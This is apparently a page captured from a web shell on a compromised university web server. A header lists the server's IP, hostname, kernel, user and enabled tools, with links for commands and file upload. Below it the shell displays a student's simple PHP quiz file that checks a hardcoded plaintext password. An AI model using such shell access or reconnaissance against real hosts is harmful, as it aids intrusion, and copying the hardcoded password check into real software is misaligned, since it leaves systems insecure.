Server IP : 172.16.15.8 / Your IP : 3.12.73.149 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/kvtillotson/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); //File Name: assig2oneExam.php //Purpose: web exam questions //Student Name: Kristin Tillotson $pass = $_POST['passwd']; $_SESSION['passwd'] = $pass; if($pass != "hw21") { print "<center><H2><font color=red>Nope.</H2><font color=black><A HREF=assig2one.html> Back to Login </center>"; } else { ?> <font color=green> <CENTER> <H2> Web Exam </H2> <HR> </font> <FORM action=assig2oneExamAct.php method=post> 1. What is the first letter in the alphabet? <BR> <INPUT type=radio name=q1 value=a> A: a <INPUT type=radio name=q1 value=b> B: b <INPUT type=radio name=q1 value=c> C: z <INPUT type=radio name=q1 value=d> D: t <P> 2. About how often do leap years happen? <BR> <INPUT type=radio name=q2 value=a> A: Every year. <INPUT type=radio name=q2 value=b> B: Every fourth year. <INPUT type=radio name=q2 value=c> C: Once a century. <INPUT type=radio name=q2 value=d> D: What is a leap year? <P> 3. What color is the sky? <BR> <INPUT type=radio name=q3 value=a> A: Blue. <INPUT type=radio name=q3 value=b> B: Gray. <INPUT type=radio name=q3 value=c> C: Depends on the time of day and weather. <INPUT type=radio name=q3 value=d> D: Pink. <P> 4. How many questions does this quiz have? <BR> <INPUT type=radio name=q4 value=a> A: 1 <INPUT type=radio name=q4 value=b> B: 2 <INPUT type=radio name=q4 value=c> C: 3 <INPUT type=radio name=q4 value=d> D: 4, discounting answer choices. <P> <INPUT type=submit value="Submit Form"> <INPUT type=reset value="Reset Form"> </FORM> </center> <A HREF=index.html> Course Home </A> | <A HREF=assig2.html> Assignment 2 </A> | <A HREF=assig2one.html> Back to Login </A> <?php } ?>